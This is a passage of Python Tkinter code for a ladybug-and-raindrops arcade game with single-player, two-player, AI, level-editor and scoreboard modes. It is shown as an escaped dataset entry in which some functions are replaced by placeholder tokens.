image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if 